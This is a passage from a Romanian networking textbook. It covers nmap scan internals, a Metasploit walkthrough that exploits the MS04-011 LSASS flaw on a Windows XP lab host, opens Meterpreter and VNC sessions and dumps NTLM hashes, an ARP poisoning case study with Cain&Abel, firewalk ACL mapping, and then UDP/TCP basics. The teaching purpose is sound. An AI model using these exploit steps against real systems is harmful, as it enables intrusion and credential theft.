Pentru servere cu o ncrcare mare, mai ales dac acestea ndeplinesc funcii critice, metodele recomandate de scanare sunt Paranoid, Sneaky i Polite, n vreme ce pentru scanarea periodic a unui numr mare de staii de lucru metodele Aggressive i Insane se pot dovedi mult mai potrivite, n special pentru reele cu conexiuni foarte rapide. Funcionarea Nmap Scanarea ACK are drept principal scop determinarea tipurilor de reguli de filtrare folosite de un firewall ce protejeaz destinaia. La finalul unei astfel de scanri se poate afla dac un port destinaie este filtrat de o regul bazat pe monitorizarea strilor conexiunilor sau nu. n acest scop, scanarea ACK trebuie rulat n conjuncie cu scanarea TCP SYN. Mai exact, pentru un port ce a fost determinat ca fiind port filtrat n urma unei scanri TCP SYN, se va rula scanarea ACK pentru a determina tipul regulii de filtrare folosit. Pentru a verifica funcionarea scanrii, vor fi urmrite pachetele trimise n reea pentru 2 cazuri: port nchis i port deschis. Cazul 1. Portul 10000 este nchis. Procesul de scanare a traficului prin:
kiwi:~# tcpdump -i eth1 tcp port 10001

Scanarea portului 10001 prin metoda TCP SYN se va face cu comanda:


cursuri:~# nmap -sS -p 10001 -P0 -n 141.85.37.145 Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ ) The 1 scanned port on (141.85.37.145) is: closed Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

Pachetele trimise n reea au fost prinse de tcpdump:


17:11:42.860449 IP cursuri.cs.pub.ro.54403 > kiwi.cs.pub.ro.10001: 2570971707:2570971707(0) win 2048 17:11:42.860549 IP kiwi.cs.pub.ro.10001 > cursuri.cs.pub.ro.54403: R 0:0(0) 2570971708 win 0 S ack

Rezultatul scanrii cu ACK-uri va fi urmtorul:


cursuri:~# nmap -sA -p 10001 -P0 -n 141.85.37.145 Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ ) The 1 scanned port on (141.85.37.145) is: UNfiltered Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

Scanarea de pachete a interceptat 2 pachete pentru portul n cauz: segmentul ACK trimis de nmap i segmentul RST trimis drept rspuns.
4096 17:18:04.102979 IP cursuri.cs.pub.ro.38388 > kiwi.cs.pub.ro.10001: . ack 1214695285 win kiwi.cs.pub.ro.10001 > cursuri.cs.pub.ro.38388: R 17:18:04.103089 IP 1214695285:1214695285(0) win 0

Cazul 2. Portul deschis va fi simulat prin comanda nc:


kiwi:~# nc -l -p 10000

Rezultatul scanrii ACK va fi acelai ca i n cazul portului nchis, diferene aprnd doar n scanarea TCP SYN:
cursuri:~# nmap -sS -p 10001 -P0 -n 141.85.37.145 Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ ) Interesting ports on (141.85.37.145): Port State Service 10001/tcp open unknown Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

Rezultatul tcpdump va fi:


17:19:29.123875 IP 680066281:680066281(0) win 3072 cursuri.cs.pub.ro.63326 > kiwi.cs.pub.ro.10001: S

370 | R e e l e L o c a l e
17:19:29.124006 IP kiwi.cs.pub.ro.10001 1412873701:1412873701(0) ack 680066282 win 5840 <mss 1460> 17:19:29.124164 IP cursuri.cs.pub.ro.63326 680066282:680066282(0) win 0 > > cursuri.cs.pub.ro.63326: kiwi.cs.pub.ro.10001: S R

10.3.2

Metasploit

Printre utilitarele de evaluare a vulnerabilitilor sistemelor se numr Metasploit, Nessus, sau Ettercap. n continuare se va ilustra funcionarea unor astfel de proiecte prin prezentarea Metasploit. Ctigtorul unei prestigioase medalii Best of Open Source Software Awards 2008 la seciunea de Securitate, proiectul Metasploit pune la dispoziia comunitii mecanisme avansate pentru dezvoltarea, testarea i lansarea atacurilor mpotriva sistemelor informatice. Funcia de baz a unui framework este de a crea o platform consistent pentru atingerea unui obiectiv. Metasploit conine n plus o colecie de unelte, biblioteci, module i interfee folosite mpreun pentru exploatarea breelor de securitate. Versiunea 3.1 este scrisa n Ruby, iar componentele n C i Assembler, n paradigma open-source, oferind att o baz solid pentru dezvoltarea propriilor module, ct i portabilitatea framework-ului pe o gam larg de sisteme de operare ce includ Windows, Linux i MacOS. Metasploit poate interaciona cu utilizatorul folosind att linia de comand, apreciat de utilizatorii avansai, ct i ntr-un mediu grafic, sub forma unei interfee web sau a unei aplicaii GUI stand-alone, recomandat primelor contacte cu aplicaia.

10-3: Metasploit GUI Una dintre cele mai frecvente utilizri ale Metasploit urmrete obinerea unui shell pe sistemul int, prin exploatarea unei bree de securitate ntr-unul dintre serviciile active; acesta este totodat cel mai frecvent obiectiv al unui atacator. Realizarea acestui scenariu cu Metasploit presupune parcurgerea urmtoarelor etape: Identificarea porturilor deschise i a serviciilor active pe maina int. Scanarea de porturi se poate face de exemplu cu nmap. Intr-o paralel cu asaltarea unei fortree, acest pas poate

371 | S e c u r i t a t e a r e e l e i

fi asemnat cu identificarea suprafeelor expuse ale cetii: intrarea principal i cea secundar, turnurile de veghe, ferestrele, etc. Verificarea prezenei vulnerabilitilor publice pe porturile descoperite anterior. Acest pas se poate face prin tehnici de banner grabbing, os fingerprinting, identificarea versiunii serviciului i corelarea acesteia cu o baz de date de vulnerabiliti, sau prin scanarea cu Nessus. Etapa se aseamn cu identificarea zonelor cunoscute ca fiind slabe: poarta principala nu este ranforsat i poate fi spart cu un berbec, sau un anumit zid poate fi drmat cu un anumit tun. Identificarea modulului corespunztor de exploit din Metasploit i configurarea acestuia: adresa IP destinaie, versiunea sistemului de operare, etc. Aceasta etap se poate asemn cu identificarea armamentului ce va fi folosit: tipul de tun sau de berbec. Alegerea unui payload i configurarea opiunilor acestuia. Payload-ul reprezint ncrctura atacului, codul care va fi executat n urma exploatrii vulnerabilitii alese, cod care decide care va fi rezultatul atacului. Acesta poate varia de la obinerea unui shell pe sistemul int pn la administrarea acestuia prin VNC sau prin producerea unui Denial of Service. Ultimul pas este acela al lansrii atacului i al verificrii rezultatului obinut. n cazul unui rezultat pozitiv, atacatorul poate ncerca s i extind influena, s i asigure accesul viitor, s tearg urmele sau s i escaladeze privilegiile, n funcie de situaie. Versiunea actual numr peste dou sute cinci zeci de exploit-uri acoperind numeroase bug-uri de la sisteme de operare (Windows, Linux, Cisco IOS, etc) pn la servicii (IIS, Apache, SQL Server) i aplicaii: browsere, firewall-uri. Un numr de 118 payload-uri sunt disponibile pentru obinerea accesului, iar funciile acestora includ: pornirea unui serviciu pe sistemul int i conectarea la acesta ( bind), pornirea unui serviciu i configurarea acestuia s se conecteze napoi la staia atacatorului pentru a evita restriciile de firewall (reverse connect). Alte facilitai avansate ale payloadurilor sunt: tunelarea conexiunilor peste protocolul HTTP sau peste un layer SSL (bind i reverse), pclirea sistemelor IDS/IPS, etc. Rezultatul final poate fi obinerea unui shell, a unei conexiuni VNC, adugarea unui utilizator, executarea de comenzi la distan, sau ncrcarea i lansarea unui DLL dezvoltat de atacator. Pentru compromiterea sistemelor Windows, Metasploit ofer posibilitatea injectrii payload-ului (Win32 DLL Injection) n spaiul de adrese ale procesului exploatat, de unde este lansat ca thread separat. Pclirea antiviruilor i inexistenta urmelor pe disc sunt doar dou dintre avantajele acestei metode. Un payload deosebit este Meterpreter, un shell creat special pentru hacking. Acesta este conceput special pentru a rezolva problemele clasice ale shell-urilor de sistem: poate evada nativ din mediile chroot-ate, nu lanseaz un proces nou, ci se ascunde n spaiul de adres al altui proces, i pune imediat la dispoziia atacatorului un set foarte puternic de comenzi consecvente independent de platform, pe care altminteri acesta ar trebui s le transfere printr-un alt canal. Funcionalitatea lui Meterpreter este modular i se bazeaz pe extensii. Astfel stdapi conine acces unificat la funcii de sistem, de reea, manipularea proceselor, etc., iar priv permite accesul facil la hash-urile parolelor Windows (NTLM), i la utilitare pentru modificarea amprentelor de timp ale fiierelor. stdapi conine unelte pentru manipularea sistemelor de fiiere ( cat, edit, ls, cd, pwd, download i upload pentru transferul de fiiere ntre staia de atac i int direct prin meterpreter, etc), manipularea funciilor de reea (ipconfig, portfwd pentru tunelarea conexiunilor de pe sistemul compromis mai departe, route pentru modificarea tabelei de rutare), a funciilor SO (execute poate lansa un proces mascat prin DLL Injection, getpid,

372 | R e e l e L o c a l e
getuid, kill, ps, reg pentru manipularea regitrilor) sau a interfeei grafice (idletime uictl pentru activarea/dezactivarea interactivitii sistemului cu utilizatorul legitim).

Alte facilitai interesante ale Metasploit includ posibilitatea lansrii exploit-urilor printr-un lan de servere proxy (testat de ctre comunitate cu 500 de servere) pentru mascarea sursei i modulul autopwn care permite atacarea unui subnet ntreg din doar cteva comenzi prin integrarea cu nmap i automatizarea primilor patru pai descrii anterior. Un exemplu de vulnerabilitate n protocolul SMB (File Sharing) pe Windows XP este prezentat mai jos: 1. Scanarea de porturi (nmap) 2. Scanarea de vulnerabiliti
nmap -sS 192.168.128.5 Starting Nmap 4.50 (http://insecure.org ) at 2008-09-11 19:04 E. Europe Daylight Time Interesting ports on 192.168.128.5: Not shown: 1706 closed ports PORT 135/tcp 139/tcp 445/tcp STATE SERVICE open open open msrpc netbios-ssn microsoft-ds NFS-or-IIS UPnP

1025/tcp open 5000/tcp open

MAC Address: 00:0C:29:C8:A3:02 (VMware) Nmap done: 1 IP address scanned in 1.375 seconds (1 host up)

Un exemplu de output Metaspoit este prezentat mai jos:


>> search ms04_011 // CAUTAREA EXPLOIT-ULUI [*] Searching loaded modules for pattern 'ms04_011'... Exploits ======== Name Description -------------windows/smb/ms04_011_lsass Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow windows/ssl/ms04_011_pct Microsoft Private Communications Transport Overflow >> use windows/smb/ms04_011_lsass >> show targets Exploit targets: Id -0 1 2 Name ---Automatic Targetting Windows 2000 English Windows XP English // CONFIGURAREA OPTIUNILOR EXPLOIT (OS TINTA)

>> set TARGET 2 TARGET => 2 >> show options Module options: Name Current Setting -----------------RHOST RPORT 445 Required -------yes yes

Description ----------The target address Set the SMB service port

373 | S e c u r i t a t e a r e e l e i
Exploit target: Name ---Windows XP English >> set RHOST 192.168.128.5 RHOST => 192.168.128.5 Id -2

// OPTIUNE EXPLOIT (IP TINTA)

>> show advanced Module advanced options: .... (OMISE PENTRU BREVITATE) >> show payloads Compatible payloads =================== Name Description -------------generic/shell_bind_tcp Generic Command Shell, Bind TCP Inline .............. (OMISE PENTRU BREVITATE) >> set PAYLOAD windows/vncinject/bind_tcp // PAYLOAD INJECTARE SERVER VNC PAYLOAD => windows/vncinject/bind_tcp >> exploit // LANSARE EXPLOIT [*] Started bind handler [*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.128.5[\lsarpc]... [*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.128.5[\lsarpc]... [*] Getting OS information... [*] Trying to exploit Windows 5.1 >> exploit // BUG IN EXPLOIT (CONTINUAM) [*] Started bind handler [*] Binding to 3919286a-b10c-11d0-9ba800c04fd92ef5:0.0@ncacn_np:192.168.128.5[\lsarpc]... [*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.128.5[\lsarpc]... [*] Getting OS information... [*] Trying to exploit Windows 5.1 [*] Transmitting intermediate stager for over-sized stage...(89 bytes) [*] Sending stage (2834 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (327693 bytes)... [*] Upload completed. [*] Starting local TCP relay on 127.0.0.1:5900... [*] Local TCP relay started. [*] Launched vnciewer in the background. [*] VNC Server session 2 opened (192.168.128.2:1875 -> 192.168.128.5:4444) [*] The DCERPC service did not reply to our request >> sessions l Active sessions =============== Id -1 2 Description Tunnel ----------- -----Meterpreter 192.168.128.2:1831 -> 192.168.128.5:4444 VNC Server 192.168.128.2:1875 -> 192.168.128.5:4444 >> sessions -i 1 [*] Starting interaction with 1... >> use Priv Loading extension priv... success. // LISTARE SESIUNI DESCHISE

// SESIUNE MAI VECHE // REZULTAT

>> help

// OUTPUT OMIS PENTRU BREVITATE >> hashdump // DUMP NTLM HASH Administrator:500:81fc70764e28d07e17306d272a9441bb:1588a8ad682c772251524a40766e9918::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:5890ebd067d1edf9d64624dfdc26c511:5f1756c53701b2d0aa8391848d58914a::: stormy:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SUPPORT_388945a0 :1002:aad3b435b51404eeaad3b435b51404ee:25c43e16e9e62c3f615ee824ab5fd083:::

10.4 Studii de caz


10.4.1 ARP Poisoning
Unul dintre cele mai ntlnite i populare atacuri ntr-o reea comutat l reprezint atacul ARP Poisoning. Switchul limiteaz mult capacitatea atacatorilor de a obine informaii din traficul intern al reelei cu ajutorul unui packet sniffer. Totui, prin ARP poisoning se poate intercepta traficul dintre oricare dou calculatoare, chiar i ntr-o reea ce folosete switchuri. Dup cum sugereaz i numele, acest atac este format din dou pri: prima parte const n manipularea tabelelor ARP a staiilor int, fiind urmat apoi de rutarea traficului ctre

374 | R e e l e L o c a l e

destinaia corect. Dac acest lucru nu se ntmpl, este produs un atac DoS ntre cele dou staii victim (man-in-the-end). ARP poisoning este procesul prin care staiile afectate dintr-o reea comutat vor ajunge s posede intrri eronate n tabela ARP. Mai exact, n locul corespondenelor fireti ntre diversele adrese IP i adresele MAC ale celorlalte staii din aceeai reea, o staie supus unui atac bazat pe ARP poisoning va avea n tabela ARP doar asocieri ntre adrese IP ale staiilor din aceeai reea local i o singur adres MAC n general cea a staiei ce a iniiat atacul. n cele ce urmeaz se va descrie pas cu pas iniierea unui astfel de atac, ntr-o reea cu 3 staii, folosind utilitarul Cain&Abel (http://www.oxid.it/cain.html). Se dorete interceptarea traficului dintre staiile A1 i A2 de ctre staia A3 (atacatorul).

A3 10.1.1.4

A1 10.1.1.2

A2 10.1.1.3

10-4: Topologia reelei nainte de iniierea efectiv a acestui atac, trebuie configurai anumii parametri ce vor ajuta n descoperirea staiilor din reea i n deciderea asupra cror staii se va lansa atacul. Pentru aceasta, primul pas l reprezint pornirea sniffer-ului i alegerea plcii de reea pe care se va ncepe captura de pachete.

10-5: Alegerea plcii de reea i pornirea sniffer-ului Dup pornirea sniffer-ului, urmtorul pas l reprezint descoperirea staiilor din reea. Pentru ca pachetele capturate s poat fi rutate ctre destinaia corect, trebuie s

375 | S e c u r i t a t e a r e e l e i

cunoatem asocierile IP-MAC ale staiilor din reea, atacul fiind imposibil fr acestea. Acest lucru se realizeaz prin click dreapta i alegerea opiunii Scan MAC Addresses.

10-6: Scanarea reelei n urma scanrii reelei se descoper staiile 10.1.1.1 (default gateway), 10.1.1.2 (A1), 10.1.1.3 (A2), ct i adresele MAC corespunztoare fiecreia dintre ele.

10-7: Rezultatul scanrii reelei n figura de mai jos, pentru selectarea staiilor victim se va alege din bara de jos tab-ul APR i apoi butonul + din bara de sus.

376 | R e e l e L o c a l e

10-8: Alegerea staiilor victim nelesul seleciei de mai sus este urmtorul: traficul este interceptat ntre staia ce are adresa IP 10.1.1.2 i staia ce are adresa IP 10.1.1.3, n ambele direcii. n acest moment dispunem de toate informaiile necesare iniierii atacului i de un utilitar foarte puternic, ce va lansa atacul prin simpla apsare a butonului APR.

10-9: Lansarea atacului Se observ n figura de mai sus contorizarea pachetelor ce trec prin staia atacatorului precum i direcia n care ele sunt rutate. n cazul n care, pachetele nu sunt rutate ctre destinaia corect, numerele din coloana Packets nu sunt egale, putndu-se crea astfel un atac DoS pentru staiile victim, dar care este uor detectabil. Se poate ntmpla ca, n unele cazuri, atacul s se ncheie cu succes doar pentru una din staii (atacul nu reuete pentru o staie ce are definite intrri ARP statice). n acest caz, se va observa numrul pachetelor rutate crescnd doar ntr-o singur direcie, sniffer-ul prelucrnd doar jumtate din traficul ateptat.

377 | S e c u r i t a t e a r e e l e i

Dat fiind faptul ca intrrile ntr-o tabel ARP expir, se pune problema dac faza iniial de inundare cu pachete fictive trebuie repetat continuu. Rspunsul nu este chiar att de uor de dat pentru c, dei soluia inundrii continue a reelei cu pachete fictive asigur funcionarea staiei atacator ca proxy transparent, poate totui crea un overhead semnificativ, numrul de pachete fictive trimise variind cu ptratul numrului de staii active. Implicit, Cain trimite pachete ARP false la fiecare 30 de secunde, timp ce poate fi configurat din meniul Configure. Tot de aici, se pot schimba adresele IP surs i MAC surs, n scopul ascunderii identitii atacatorului.

10-10: Parametrii de configurare

10.4.2

Firewalking

Firewalking reprezint o metod de identificare a regulilor listelor de acces configurate pe un firewall care protejeaz o reea int. Tehnica folosita reprezint o dezvoltare a algoritmului de traceroute i se bazeaz pe o analiz a pachetelor IP pentru a determina daca acestea pot ajunge la sistemul int prin firewall. Dup ce un router decide interfaa de ieire a unui pachet, acesta decrementeaz valoarea cmpului TTL (Time To Live) din antetul IP al pachetului; dac noua valoare este mai mic sau egal cu zero, routerul va renuna la trimiterea pachetului i va transmite napoi ctre sistemul surs un pachet ICMP de tip 11 TTL Expired in transit. Acest lucru i comunic sursei la ce router a expirat pachetul. Bazndu-se pe acest comportament i pe ipoteza c nu exist echipamente care s filtreze traficul ICMP pe drum, traceroute trimite pachete consecutive ctre destinaie incrementnd valoarea cmpului TTL care pornete iniial de la unu. Firewalk este programul care implementeaz tehnicile menionate anterior pentru a identifica protocoalele i serviciile permise printr-un firewall. Pentru a porni scanarea, atacatorul are nevoie de urmtoarele informaii:
adresa IP a firewall-ului ce va fi scanat (packet filter); adresa IP din spatele firewall-ului pentru a verifica regulile ctre aceasta (destination host).

378 | R e e l e L o c a l e

Retea Protejata

INTERNET

STATIE DESTINATIE FIREWALL ATACATOR

10-11: O infrastructur cu firewall Firewalk funcioneaz trimind pachete TCP sau UDP pe porturile specificate de atacator cu o valoare TTL cu unu mai mare dect a firewall-ului care este scanat. Astfel, dac echipamentul de filtrare permite traficul, va transmite pachetul ctre destinaie unde acesta va expira trimind napoi un mesaj de tip TTL Expired in transit. Dac firewall-ul nu permite traficul, atunci pachetul este aruncat i atacatorul fie nu va primi napoi niciun rspuns (cel mai adesea), fie va primi un rspuns ICMP tip 3 cod 13 (Destination Unreachable Communication Administratively Prohibited). Trimind un numr de probe ctre adresele IP i porturile interesante din spatele firewall-ului, i analiznd rspunsurile, un atacator poate obine o hart a ACL-urilor definite.
Firewalk 5.0 [gateway ACL scanner] Usage : firewalk [options] target_gateway metric [-d 0 - 65535] destination port to use (ramping phase) [-h] program help [-i device] interface [-n] do not resolve IP addresses into hostnames [-p TCP | UDP] firewalk protocol [-r] strict RFC adherence [-S x - y, z] port range to scan [-s 0 - 65535] source port [-T 1 - 1000] packet read timeout in ms [-t 1 - 25] IP time to live [-v] program version [-x 1 - 8] expire vector

Maparea regulilor cu firewalk are dou faze: Descoperirea reelei. Supranumit n jargon i ramping up hopcounts, aceast etap are scopul calculrii numrului de hopuri pn la firewall. Metodologia este identic cu cea amintit anterior pentru traceroute. Cnd acest numr este obinut, se poate trece n faza doi, iar scanarea este acum bound. Scanarea propriu-zis. Acesta etap implic trimiterea pachetelor ctre destinaie pe porturile TCP/UDP interesante pentru atacator i activarea unor cronometre pentru fiecare pachet. Dac un rspuns nu este primit pan la expirarea timpului, se consider c portul este nchis de ctre firewall. Exemplu de scanare cu firewalk:
firewalk -n -p TCP -S20-25,80,443 80.86.16.183 80.86.200.240 Firewalk 5.0 [gateway ACL scanner] Firewalk state initialization completed successfully. TCP-based scan. Ramping phase source port: 53, destination port: 33434 Hotfoot through 80.86.16.183 using 80.86.200.240 as a metric. Ramping Phase: 1 (TTL 1): expired [192.168.128.1] 2 (TTL 2): expired [194.116.200.65] 3 (TTL 3): expired [86.55.4.169]

379 | S e c u r i t a t e a r e e l e i
4 (TTL 4): expired [193.19.194.202] 5 (TTL 5): expired [80.86.15.130] 6 (TTL 6): expired [80.86.16.183] Binding host reached. Scan bound at 7 hops. Scanning Phase: port 20: A! unknown (unreach ICMP_UNREACH_FILTER_PROHIB) [80.86.200.240] port 21: *no response* port 22: A! open (port listen) [80.86.200.240] port 23: A! unknown (unreach ICMP_UNREACH_FILTER_PROHIB) [80.86.200.240] port 24: *no response* port 25: A! open (port not listen) [80.86.200.240] port 80: A! unknown (unreach ICMP_UNREACH_FILTER_PROHIB) [80.86.200.240] port 443: A! open (port not listen) [80.86.200.240] Scan completed successfully. Total Total Total Total Total Total Total packets sent: packet errors: packets caught packets caught of interest ports scanned ports open: ports unknown: 3 14 0 13 12 8 3

380 | R e e l e L o c a l e

11 Protocoale de nivel transport


The number of things that we count as free today that used to cost money (such as TCP/IP) are quite significant. Cameron Purdy

Ce se nva din acest capitol?


Care este rolul nivelului Transport Care este diferena dintre UDP i TCP Care este principiul de funcionare a TCP Cum se realizeaz controlul fluxului la TCP

Cine este...
Robert Kahn este coautor, mpreun cu Vint Cerf, al protocoalelor TCP i IP care au devenit protocoalele fundamentale n Internet. Proiectarea celor dou protocoale a avut n vedere folosirea a dou niveluri n care TCP se ocup cu serviciile de asigurare a conectivitii i a controlului fluxului. n prezent este preedintele CNRI (Corporation for National Research Initiatives).

11.1 Noiuni generale


Nivelul transport, al patrulea nivel din stiva de protocoale OSI, rspunde cererilor sosite de la nivelul sesiune i transmite cereri nivelului reea. Nivelul transport este responsabil cu asigurarea transparenei transferului ntre dou sisteme. Rolul su este, de obicei, recuperarea n caz de eroare i controlul fluxului, asigurnd un transfer de date complet. Aceste roluri sunt ndeplinite prin folosirea protocolului orientat pe conexiune, Transmission Control Protocol (TCP). Protocolul User Datagram Protocol (UDP), care funcioneaz pe baz de datagrame, las aceste roluri pe seama aplicaiei. Nivelul transport transform serviciile de baz i nesigure ale nivelului retea n servicii mult mai puternice. Exist o suit de servicii care pot fi furnizate (opional) la acest nivel. Niciunul din ele nu este obligatoriu, ntruct nu toate aplicaiile doresc ca toate aceste servicii s fie utilizate. Cteva din servicii sunt:
orientat conexiune: ntruct aplicaiile lucreaz mult mai uor cu servicii orientate conexiune, iar nivelul reea nu ofer dect servicii fr conexiune, un astfel de serviciu este adesea utilizat; controlul fluxului: deoarece memoria unui sistem este limitat, lipsa controlului fluxului ar duce la congestionarea traficului iar sistemul nu ar putea reine suficient de mult informaie pentru a o prelucra; multiplexarea prin porturi: porturile reprezint mecanismul de baz prin care se pot adresa mai multe entiti n cadrul aceleiai locaii (aceluiai sistem); aplicaiile de reea vor asculta fiecare pe un port propriu primirea de informaii, motiv pentru care mai multe aplicaii pot rula simultan.

n cadrul Internet-ului exist mai multe protocoale la nivelul transport, dar cele mai utilizate sunt TCP i UDP. TCP este un protocol complex, furniznd un serviciu orientat pe conexiune, controlul fluxului, porturi multiple, transmiterea datelor n ordine. UDP este un serviciu simplu care lucreaz cu datagrame, furniznd doar multiplexarea prin porturi. Alte protocoale sunt Datagram Congestion Control Protocol (DCCP) i Stream Control Transmission Protocol (SCTP).

381 | P r o t o c o a l e d e n i v e l t r a n s p o r t

11.2 UDP
11.2.1 Caracteristici UDP
UDP (User Datagram Protocol)1 este un protocol de nivel transport construit special pentru a oferi un serviciu de comunicare ct mai simplu peste IP. Cteva caracteristici ale UDP-ului sunt:
este un serviciu de tip datagram: cererile de trimitere de date primite de la nivelul superior sunt tratate independent; comunicarea are loc fr stabilirea unei legturi (connectionless): nu exist mecanisme de stabilire i terminare a unei conexiuni; toate datele sunt trimise n cadrul unui singur pachet IP, care eventual va fi supus fragmentrii; nu se garanteaz faptul c datele vor ajunge la destinaie (best effort): ajungerea la destinaie a datelor nu este anunat sursei; datele transportate sunt protejate de o sum de control (caracteristic opional iniial dar trecut ca necesar (must)2); ncrcarea suplimentar (overhead-ul) introdus este minim: doar 8 octei. servicii de rezolvare a numelor (DNS): ntrebrile i rspunsurile scurte pot fi mai eficient implementate peste UDP; fluxuri multimedia: mecanismele complicate de control al fluxului ale TCP-ului ar deprecia interactivitatea; server de fiiere (NFS): acest tip de aplicaii sunt n general rulate n reele locale cu performane ridicate care nu necesit mecanismele TCP; BitTorrent; managementul reelei (SNMP); protocoale de rutare (RIP).

Cteva utilizri tipice ale UDP-ului sunt n:

11.2.2

Formatul datagramelor UDP

Datagramele UDP sunt formate dintr-un antet urmat de datele care se doresc transmise (dac exist).

11-1: Structura unei datagrame UDP Antetul cuprinde:


port surs - 16 bii; mpreun cu adresa IP a sursei, acest numr identific n mod unic expeditorul datagramei UDP; port destinaie - 16 bii; mpreun cu adresa IP a destinaiei, acest numr identific n mod unic destinaia dorit pentru datagrama UDP;
1 2

http://tools.ietf.org/html/rfc768 http://tools.ietf.org/html/rfc1122

382 | R e e l e L o c a l e lungimea datagramei UDP - 16 bii; Lungimea considerdatagrama UDP cu tot cu antet i prin urmare are o valoare minim de 8 octei. sum de control - 16 bii; Suma de control acoper ntreaga datagram UDP ct i un pseudoantet de 12 octei format din:
o o o o o adresa IP a sursei - 32 bii; adresa IP a destinaiei - 32 bii; 8 bii de zero pentru aliniere; numrul protocolului UDP (17) reprezentat pe 8 bii; lungimea datagramei UDP - 16 bii.

Suma de control este calculat ca numrul de cuvinte de 16 bii incluse n pachet. Fiind numr multiplu de 16 bii, la sfritul datelor se adaug un numr potrivit de bii de zero. Dac suma este 0 atunci ea va fi stocat ca 65535 (toi biii pe 1). Un 0 n cmpul sumei de control indic faptul c suma de control nu a fost calculat. Observaie: chiar dac un client are inhibat (n mod explicit) calculul sumei de control, el este obligat s verifice suma pachetelor care sosesc i au suma calculat.

Porturi
Cmpul asociat porturilor are 16 bii, deci valorile posibile sunt cuprinse ntre 0 i 65535. Portul 0 este rezervat, dar este un port surs permis dac procesul transmitor nu ateapt mesaje de rspuns. Porturile cuprinse ntre 1 i 1023 sunt porturi rezervate (aa zisele known ports); pe un sistem Unix folosirea unuia din aceste porturi necesit drepturi privilegiate (drepturi de root). Porturile cuprinse ntre 1024 i 49151 sunt porturile nregistrate (folosite de Kazaa, Java RMI Registry, servere SQL, etc.). Porturile cuprinse ntre 49152 i 65535 sunt porturi efemere i sunt utilizate ca porturi temporare, de obicei de ctre clienii care comunic cu serverele.

11.3 TCP
11.3.1 Caracteristici TCP
Deoarece protocolul IP este de tip datagram, utilizarea lui direct n aplicaii, care n general au nevoie de conexiuni sigure, este mult prea anevoioas. Din aceste motive peste IP a fost construit un alt protocol, TCP (Transmission Control Protocol), care corecteaz aceste probleme. TCP1 devine astfel, alturi de IP, protocolul de baz utilizat n Internet. Cele dou protocoale sunt reprezentative pentru stiva de protocoale de facto ce guverneaz funcionarea Internet-ului. Alturi de UDP, TCP se situeaz pe nivelul transport n ierarhia de protocoale, deci ntre nivelul aplicaie i nivelul reea. Cu toate c se bazeaz pe acelai protocol (IP) ca i UDP, TCP furnizeaz ctre nivelul aplicaie cu totul alt tip de servicii: servicii orientate-conexiune, sigure, de tip flux de octei. Termenul orientat-conexiune presupune c ntre cele dou aplicaii care comunic utiliznd TCP trebuie s se stabileasc o conexiune nainte ca transferul de date s aib loc. Aceast conexiune nu este una fizic ci virtual. Tipul de conexiune este asemntor cu sistemul de telefonie clasic: o persoan formeaz un numr i abia n momentul n care cealalt persoan rspunde se poate ncepe conversaia. Fiind o conexiune punct la punct, nu exist noiunile de broadcast sau multicast. Transferul sigur de date este asigurat n urmtorul mod:
1

http://tools.ietf.org/html/rfc1122; http://tools.ietf.org/html/rfc793

383 | P r o t o c o a l e d e n i v e l t r a n s p o r t Datele sunt mprite n fragmente a cror dimensiune optim e determinat de TCP, spre deosebire de UDP care trimite datagrame UDP corespunztoare cu dimensiunea datelor primite de la nivelul aplicaie. Unitatea de date trimis de TCP ctre nivelul reea poart numele de segment. Cnd TCP trimite un segment pornete un timer i, dac nu se primete confirmarea segmentului respectiv ntr-un anumit timp, l retransmite. n momentul n care se primete un segment, TCP trimite o confirmare (din motive de eficien aceasta poate fi amnat un anumit interval de timp). n headerul TCP este meninut o sum de control pentru detectarea modificrilor n date. Dac se recepioneaz un segment corupt, TCP l ignor urmnd s fie retransmis datorit neprimirii confirmrii. Deoarece segmentele TCP sunt transmise mai departe ncapsulate n datagrame IP, acestea pot ajunge n alt ordine dect cea n care au fost trimise. Acest lucru se ntmpl din cauz c protocolul IP lucreaz cu pachete de date, fr a garanta transmiterea acestora n ordine. Din acest motiv, la destinaie, TCP folosete numere de secven pentru a reordona segmentele nainte de a le livra ctre nivelul aplicaie. De asemenea, TCP asigur ignorarea duplicatelor. TCP asigur controlul fluxului n condiiile n care viteza de trimitere a datelor la surs poate fi mult mai mare dect capacitatea de prelucrare la destinaie.

Serviciul oferit de TCP este de tip flux de octei deoarece ofer garanii c fluxul de date trimis de surs va fi livrat fr modificri la destinaie. Comparativ, UDP produce pentru fiecare transfer cerut de nivelul aplicaie un pachet IP (care ulterior poate fi supus fragmentrii) care, dac ajunge la destinaie corect (cu suma de control valid), va fi livrat direct nivelului aplicaie fr a garanta n vreun fel ordinea. TCP suport cea mai mare parte din apliciile cele mai populare ale Internet-ului, incluznd World Wide Web, E-mail, Secure Shell, etc. La nceputul secolului 21, TCP este folosit preponderent n pachetele care circul n Internet. Larga sa rspndire este dovada viziunii de excepie pe care proiectanii protocolului au avut-o la nceputul anilor `80.

11.3.2

Formatul segmentelor TCP

Pachetele de date transmise de TCP, segmentele, sunt formate dintr-un antet de 20 de octei urmat de datele primite de la nivelul aplicaie. Antetul poate uneori conine i o serie de opiuni, caz n care poate ajunge la 60 octei. Antetul unui segment TCP cuprinde:
